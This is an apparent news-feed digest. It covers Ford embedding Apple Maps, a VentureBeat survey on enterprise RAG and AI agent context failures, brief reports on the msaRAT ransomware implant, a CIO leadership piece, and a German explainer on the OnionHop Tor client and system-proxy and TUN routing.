Ford will become the first automaker to embed Apple Maps directly into its vehicles, starting with an all-electric midsize pickup built on its new Universal Electric Vehicle platform. "The pickup -- with Ford testing preproduction models on roads now -- is expected to start at $30,000 when it comes to market in 2027," reports the Detroit Free Press. "Ford has said several other EVs off that platform will follow, including a small all-electric SUV." From the report: Ford CEO Jim Farley said the new EVs will redefine advanced technology as simple, useful, and at a price point that is attainable for most people. "We're proud to embed Apple Maps' navigation and mapping technology directly into our Universal Electric Vehicle Platform, giving customers the ultimate navigation experience alongside our Ford app, a full suite of software, and next-generation BlueCruise, all enabled by a new zonal architecture," Farley said in a statement. "Apple Maps has delivered a world-class product, and we're honored to be among the first to embed it directly into a vehicle, helping define intuitive, capable driving." In a joint statement, Apple and Ford said the integration will deliver a "beautiful and easy-to-use navigation experience powered by Apple Maps directly to the vehicle's displays. Road-level Maps information will also enable Ford's Latitude AI team to build a seamless hands-free driving experience." Ford said it will use that road information to develop its next-generation BlueCruise hands-free highway driving capability. Also, by leveraging Apple's new MapKit for Automotive SDK, Ford's UEV Platform will offer drivers turn-by-turn directions using natural language, real-time traffic information, intuitive search and routing options for the best route. The system will give drivers EV routing functionality to help drivers with the warming and cooling process of the vehicle's battery before driving or fast-charging.

Read more of this story at Slashdot.

The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix

Thu, 23 Jul 2026 19:19:42 +0200

Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

Smartphone-Halterung fürs Fahrrad: Mit diesen Modellen hast du die Route immer im Blick

Thu, 23 Jul 2026 18:05:07 +0200

Wer das Smartphone bei einer Radtour als Navi nutzen möchte, muss es sicher am Lenker befestigen können. Wir erklären dir, welche Modelle es gibt, und stellen dir vier Halterungen vor, die sich wirklich lohnen. weiterlesen auf t3n.de

Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge

Thu, 23 Jul 2026 17:24:32 +0200

The post Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge appeared first on IT Security News.

Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge

Thu, 23 Jul 2026 16:57:42 +0200

The Chaos ransomware group ran its command-and-control through the victim's own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection of its own. Its process talks to 127.0.0.1 and nothing else. It starts Chrome or Edge in headless mode and drives the browser

Ford picks Apple Maps for its next EV platform and updated BlueCruise

Thu, 23 Jul 2026 15:56:28 +0200

Ford plans to embed Apple Maps directly into its Universal Electric Vehicle Platform, which will start with a $30,000 midsize pickup truck set for release in 2027. In an announcement on Thursday, Ford says it will use Apple Maps to offer "turn-by-turn directions using natural language, real-time traffic and incident information, intuitive search featuring detailed […]

New msaRAT malware uses Chrome, Edge browsers to route C2 traffic

Thu, 23 Jul 2026 12:11:10 +0200

The Chaos ransomware gang is using a new backdoor dubbed msaRAT that hides command-and-control (C2) communication by routing it through the Chrome or Edge browsers. [...]

AI success requires a full-stack CIO

Thu, 23 Jul 2026 11:43:10 +0200

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

The full-stack CIO: Leading with clarity

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

Closing the gap between strategy and execution

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Digitale Selbstbestimmung: OnionHop leitet euren gesamten Datenverkehr durch das Tor-Netzwerk (Linux/Win/Mac)

Thu, 23 Jul 2026 04:14:01 +0200

OnionHop – Überblick

OnionHop — route your traffic through Tor, with clear controls ist ein moderner plattformübergreifender Desktop-Client (für Windows, Linux und macOS) mit starkem Fokus auf Privatsphäre. Er ermöglicht es Nutzern, ihren Datenverkehr über das Tor-Netzwerk zu leiten. Es handelt sich um ein unabhängiges Open-Source-Projekt, das nicht offiziell mit dem Tor Project | Anonymity Online verbunden ist. Die OnionHop Oberfläche bietet 8 Sprachen (Englisch, Deutsch, Französisch, Chinesisch, Russisch, Persisch, Aserbaidschanisch und Sorani Kurdisch).

Melden Sie sich freiwillig als Snowflake-Proxy helfen Sie zensierten Benutzern, Tor direkt von den Einstellungen aus zu erreichen (siehe Einstellungen).

Hauptfunktionen

Proxy-Modus: Leitet den Datenverkehr ressourcenschonend über einen lokalen SOCKS-Proxy um, ohne dass Administratorrechte benötigt werden. Ein Knopfdruck auf "System Proxy: On" und alle gängigen Browser benutzen das Tor Netzwerk.
TUN-Modus (eigene virutelle Netzwerkkarte): Leitet den Datenverkehr des gesamten Systems (alle Apps) mit einem Klick über das Tor-Netzwerk um.
Split-Tunneling: Ermöglicht die individuelle Auswahl, welche Apps über Tor laufen und welche direkte Verbindungen nutzen.
Kill-Switch: Blockiert den ausgehenden Datenverkehr sofort, wenn die Tor-Verbindung abbricht, um ungeschützte Datenlecks zu verhindern.
DNS-Steuerung: Erzwingt DNS-Anfragen über Tor und verhindert Lecks zum Internetanbieter (inklusive QUIC/UDP-Leckschutz).
Länder- & Seiten-Routing: Erlaubt direkte Verbindungen für bestimmte Länder oder das Blockieren von Domains basierend auf automatisch aktualisierten Listen.
CLI-Client: Bietet eine Kommandozeilenversion ohne grafische Oberfläche, ideal für Server und Automatisierungen. Zensurumgehung und Netzwerktechnologien
Smart Connect: Wählt automatisch die optimale Engine, Route und Bridge für das aktuelle Netzwerk.
Integrierter Bridge-Scanner: Sucht und testet automatisch funktionierende Brücken (Bridges) in restriktiven Netzwerken, sodass keine manuelle Eingabe erforderlich ist.
Pluggable Transports: Unterstützt Protokolle wie obfs4, snowflake, webtunnel, conjure, meek, dnstt und vanilla, um Netzwerkblockaden zu umgehen.
Tor-Engines: Nutzt Classic (tor), Arti (A Rust Tor Implementation (Gitlab Changelog) oder https://arti.torproject.org/ für die Nerds Improving Tor using a TCP-over-DTLS Tunnel (PDF, englisch), bald schon mit UDP Unterstützung 339 / 348-udp-app-support - Tor design proposals (Tor Architektur), dies ist die Zukunft von Tor, weg von C mit seinen historisch vielen Buffer Overflows ~65% aller Tor Sicherheitslücken, mit RPC-Schnittstelle (Remote Procedure Call / Methodenaufruf auf entfernten Systemen / Software) und UDP für moderne Anwendungen)

Da Transparenz bei Software für die informationelle Selbstbestimmung das Wichtigste ist, ist das gesamte Projekt quelloffen (Open Source). Ihr könnt euch den Quellcode jederzeit auf GitHub ansehen, ihn selbst kompilieren oder Code-Überprüfungen (Code Reviews) durchführen:

👉 GitHub-Repository: center2055/OnionHop: Privacy-first Desktop app that routes your traffic through Tor - Anonymous browsing made simple

Die Software steht für Linux, Windows und macOS zur Verfügung (es gibt auch tragbare Versionen, die nicht installiert werden müssen). Neben der grafischen Oberfläche gibt es für Automatisierungen auch eine reine Kommandozeilen-Version (CLI).

Systemweite Socks5 Proxy vs. TUN VPN-Technik Modus mit eigener virtuellen Netzwerkkarte (TUN)

Um zu verstehen, warum der TUN oft sicherer ist, hilft ein direkter Vergleich:

Eigenschaft	Systemweiter Vermittlungsserver (System SOCKS5 Proxy)	TUN "Netzwerktunnel"(OSI Layer 3) "virtuellen Netzwerkadapter" nicht TAP wie bei VPN Layer 2
Arbeitsweise	Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen.	Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter.
Zuverlässigkeit	Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet.	Fängt alles ab, völlig unabhängig davon, wie das einzelne Programm programmiert ist.
Schutz vor Datenlecks	Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschützt nach außen dringen (Datenlecks).	Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann. Eigenschaft Systemweiter Vermittlungsserver (SOCK5 Proxy) TUN-ModusArbeitsweise Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen. Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter. Zuverlässigkeit Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet. Fängt alles ab, völlig unabhängig davon, wie das einzelne Programm programmiert ist. Schutz vor Datenlecks Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschützt nach außen dringen (Datenlecks). Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann.

Zusammenfassung: Warum es beide Modi (System SOCKS5 Proxy und TUN) gibt

Genau an diesem Punkt zeigt sich, warum Werkzeuge wie OnionHop unterschiedliche Modi anbieten müssen:

Der System SOCKS5 Proxy-Modus (Anwendung muss Socks5 fähig sein z.B. alle Internet Browser): Er ist sehr ressourcenschonend und leichtgewichtig. Er eignet sich hervorragend, wenn du gezielt nur die Anwendungen über das Tor-Netzwerk leiten möchtest, die diesen Standard unterstützen (wie deinen Browser).
Der TUN-Modus "virtuelle Netzwerkkarte": Er löst exakt das Problem der fehlenden Unterstützung in Programmen. Wie wir zuvor besprochen haben, baut dieser Modus eine **virtuelle Netzwerkkarte (**sichtbar unter "Netzwerkverbindungen" unter Windows, WIN + R = ncpa.cpl) auf und zwingt das Betriebssystem, alles dorthin zu leiten. Hierbei ist es völlig egal, ob ein Programm von Vermittlungsservern weiß oder nicht – die Daten werden auf einer Ebene abgefangen, der sich kein Programm entziehen kann.

Für die Entwickler unter euch: Wie ändert man den System-Proxy eigentlich programmatisch?

Wer schon länger in der Softwareentwicklung tätig ist, kennt das Problem bei der plattformübergreifenden Programmierung: Ein einheitliches Vorgehen gibt es hier leider nicht. Jedes Betriebssystem kocht sein eigenes Süppchen, was bei Werkzeugen wie OnionHop unter der Haube einigen Aufwand bedeutet. Hier ist ein kleiner technischer Einblick, wie der Code das im Hintergrund löst:

1. Windows: Die Registrierungsdatenbank und WinINet Einfach nur Werte in eine Konfigurationsdatei zu schreiben, reicht hier nicht. Zuerst müssen die Werte in der Registrierungsdatenbank (im Zweig HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings) manipuliert werden (z. B. ProxyEnable auf 1 und ProxyServer auf 127.0.0.1:9050). Der entscheidende Schritt ist danach aber, das System über diese Änderung zu benachrichtigen, da laufende Anwendungen (wie der Browser) die neuen Werte sonst ignorieren. Dafür muss ein Aufruf der Windows-Systembibliothek wininet.dll erfolgen. Über die Programmierschnittstelle (API) InternetSetOption feuert man die Markierungen (Flags) INTERNET_OPTION_SETTINGS_CHANGED und INTERNET_OPTION_REFRESH ab, um das System zum sofortigen Neuladen zu zwingen.

2. Linux: Die große Fragmentierung Gerade wenn man in hybriden Umgebungen (wie dem Windows-Subsystem für Linux oder mit Container-Lösungen) entwickelt, merkt man schnell: Linux hat keine zentrale Instanz für diese Einstellungen.

Kommandozeile und Hintergrunddienste: Diese reagieren fast ausschließlich auf Umgebungsvariablen wie http_proxy oder ALL_PROXY. Diese müssen durch das Programm systemweit oder in den jeweiligen Startskripten (z. B. ~/.bashrc) gesetzt werden.
GNOME-Desktop: Hier wird die Konfigurationsdatenbank (dconf) genutzt. Programmatisch löst man das über die C-Programmierschnittstelle von GLib oder einfacher durch das Ausführen von Systembefehlen im Hintergrund (z. B. gsettings set org.gnome.system.proxy mode 'manual').
KDE Plasma: Speichert die Konfiguration in Textdateien (~/.config/kioslaverc), die von der Software analysiert und editiert werden müssen, gefolgt von einem Befehl zum Neustart der zuständigen KDE-Dienste.

3. macOS: SystemConfiguration Framework Apple regelt das Netzwerkmanagement streng über die einzelnen Hardware-Schnittstellen (WLAN, Kabelnetzwerk etc.).

Der skriptbasierte Weg: Ein Programm ruft im Hintergrund das vorinstallierte Kommandozeilen-Werkzeug networksetup auf, um den Vermittlungsserver für jede aktive Netzwerkschnittstelle einzeln zu setzen (z. B. networksetup -setsocksfirewallproxy "Wi-Fi" 127.0.0.1 9050).
Der native Weg: Die Software greift direkt über C oder Swift auf das Systemgerüst SystemConfiguration zu. Über die Programmierschnittstelle SCDynamicStore klinkt man sich in den Konfigurationsspeicher ein, schreibt ein Datenverzeichnis mit den neuen Werten in den Pfad State:/Network/Global/Proxies und teilt so dem Kernel die Netzwerkänderung ohne Umwege direkt mit.

Wie Onionhop unter Windows den Datenverkehr über virtuelle Netzwerkschnittstellen (TUN) lenkt

Die Magie passiert über virtuelle Netzwerkschnittstellen (TUN-Modus) und gezielte Manipulation der Wegfindung (Routing).

1. Der virtuelle Netzwerktreiber

Windows nutzt für Netzwerkkarten die sogenannte Network Driver Interface Specification (NDIS). Tools wie Onionhop installieren einen virtuellen Treiber (oft auf Basis von Wintun).

Auf der Ebene des Betriebssystemkerns (Kernel-Ebene) ist dieser Treiber eine vollwertige Netzwerkkarte. Das System sieht absolut keinen Unterschied zu eurem echten WLAN-Modul oder Netzwerkkabel. Dieser Adapter arbeitet auf der Vermittlungsschicht (Layer 3). Er verarbeitet also reine IP-Datenpakete (Internetprotokoll) und simuliert keine Hardware-Adressen (MAC-Adressen) der tieferen Schichten.

2. Die Übernahme der Wegfindung (Routing)

Damit Windows die Daten nicht ans WLAN, sondern an Onionhop schickt, wird die Wegfindungstabelle (Routingtabelle) dynamisch angepasst, sobald die Verbindung steht:

Onionhop fügt eine neue Standardroute (0.0.0.0/0 – also den Weg für "alle unbekannten Ziele im Internet") hinzu, die auf die virtuelle TUN-Schnittstelle zeigt.
Der entscheidende Trick: Diese neue Route bekommt einen niedrigeren Prioritätswert (Metrik) als der echte WLAN-Adapter. Da Windows bei konkurrierenden Routen immer den Weg mit dem niedrigsten Wert wählt, fließt der gesamte ausgehende Datenverkehr des Systems ab sofort in den virtuellen Tunnel.

3. Datenkapselung im Anwendungsbereich (User-Space)

Jetzt landen die Daten (Nutzdaten) bei der Onionhop-Anwendung, die als Hintergrunddienst läuft:

Die Anwendung lauscht an der virtuellen Schnittstelle und fängt die IP-Pakete ab.
Sie verschlüsselt diese Nutzdaten.
Die verschlüsselten Pakete werden nun mit einer neuen Ziel-IP versehen (dem ersten Knotenpunkt im Onion-Netzwerk). Das nennt man Datenkapselung (Encapsulation).
Erst jetzt übergibt Onionhop diese neu verpackten Pakete wieder an den Windows-Netzwerkstapel.

Die Wegfindungstabelle von Windows sieht nun diese spezifische Ziel-IP des Einsteiger-Knotens und weiß: "Ah, diese IP muss über das echte Standard-Gateway des physischen WLAN-Adapters raus."

Der echte WLAN-Adapter dient also nur noch als reines Transportmedium für den bereits gekapselten und verschlüsselten Datenverkehr. Die eigentlichen Programme (wie der Browser) denken währenddessen, sie sprechen mit einer ganz normalen Netzwerkkarte.

Zum Selbstprüfen für die Kommandozeile:

Wer sich das beim Testen von Onionhop live ansehen will, kann die PowerShell nutzen:

Versteckte Schnittstellen anzeigen:
PowerShellGet-NetAdapter -IncludeHidden
Wegfindung und Prioritäten prüfen:
PowerShellGet-NetRoute -DestinationPrefix "0.0.0.0/0"

Was ist die Abgrenzung zu einem "echten" VPN wie z.B. ProtonVPN?

Eigenschaft	OnionHop (Tor-Netzwerk)	Klassisches VPN (z.B. ProtonVPN)
Architektur	Dezentral. Deine Daten fließen über drei zufällige, weltweit verteilte Knotenpunkte.	Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters.
Vertrauensmodell	Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich).	Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlüsselten Datenverkehr sehen können.
Protokolle	Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig für Online-Spiele oder VoIP) wird blockiert.	Überträgt TCP, UDP und oft auch ICMP (Ping) vollständig. Eigenschaft OnionHop (Tor-Netzwerk) Klassisches VPN (z.B. ProtonVPN) Architektur Dezentral. Deine Daten fließen über drei zufällige, weltweit verteilte Knotenpunkte. Zentralisiert. Deine Daten fließen direkt durch einen festen Server des VPN-Anbieters. Vertrauensmodell Trustless. Du musst niemandem vertrauen. Der erste Knoten kennt dich (aber nicht das Ziel), der letzte Knoten kennt das Ziel (aber nicht dich). Vertrauensbasiert. Du musst deinem VPN Anbieter zu 100 % vertrauen, da sie deinen gesamten unverschlüsselten Datenverkehr sehen können.Protokolle Tor transportiert prinzipbedingt nur TCP-Verbindungen. UDP (wichtig für Online-Spiele oder VoIP) wird blockiert. Überträgt TCP, UDP und oft auch ICMP (Ping) vollständig.

Das Virtuelle Private Netzwerk (VPN): Tiefer Eingriff auf Schicht 2 und 3

Ein VPN verhält sich für das Betriebssystem wie eine echte, physische Netzwerkkarte – nur eben als virtuelle Variante (Netzwerkschnittstelle). Es greift tief in das System ein und fängt den gesamten Datenverkehr ab, bevor dieser das Gerät verlässt.

Auf der Vermittlungsschicht (Schicht 3 / Network Layer): Hier arbeiten die meisten modernen VPN-Verbindungen (wie WireGuard oder IPsec). Sie verpacken (kapseln) komplette IP-Datenpakete. Das bedeutet, dass die gesamte Netzkopplung (Routing) übernommen wird. Jeder Datenverkehr – egal ob gesicherte Verbindungsaufbauten (TCP), verbindungslose Übertragungen (UDP) oder Diagnoseabfragen (ICMP, wie bei einem Ping) – wird in den verschlüsselten Tunnel gezwungen.
Auf der Sicherungsschicht (Schicht 2 / Data Link Layer): Einige VPN-Lösungen beherrschen auch die sogenannte Netzwerküberbrückung (Bridging, z. B. OpenVPN im TAP-Modus). Hier werden die rohen Datenrahmen (Ethernet Frames) übertragen. Das System verhält sich so, als wären alle Rechner über hunderte Kilometer hinweg an denselben physischen Netzwerkverteiler (Switch) angeschlossen. In diesem Modus werden sogar lokale Netzwerk-Rundrufe (Broadcasts) durch den Tunnel übertragen.

Das Zwiebelnetzwerk (Tor): Aufsatz auf Schicht 4 und 7

Tor arbeitet architektonisch völlig anders und hat mit den unteren Netzwerkschichten (Schicht 2 und 3) primär nichts zu tun. Es erstellt keine virtuelle Netzwerkkarte im Betriebssystem.

Anwendungsschicht (Schicht 7) & Transportschicht (Schicht 4): Das Tor-Programm läuft lokal als Stellvertreter-Dienst (SOCKS-Proxy). Eure Software (z. B. der Browser) muss explizit so konfiguriert werden, dass sie diesen Stellvertreter anspricht. Tor nimmt diese Anfragen entgegen und wickelt den Datenstrom ausschließlich über die Transportschicht ab – und hier auch nur für das TCP-Protokoll.
Keine rohen Pakete: Tor transportiert keine IP-Datenpakete (Schicht 3) und keine Ethernet-Datenrahmen (Schicht 2). Verbindungslose UDP-Pakete oder simple Ping-Abfragen (ICMP) werden vom Tor-Netzwerk schlichtweg nicht weitergeleitet.

Die Konsequenz für die IT-Sicherheit (Datenlecks)

Aus Sicht der Informationssicherheit ergibt sich daraus ein massiver Unterschied im Gefahrenpotenzial:

Da ein klassisches VPN auf der Vermittlungsschicht (Schicht 3) arbeitet, fängt es als Standard-Netzweg (Default Gateway) den gesamten Verkehr des Betriebssystems ein.

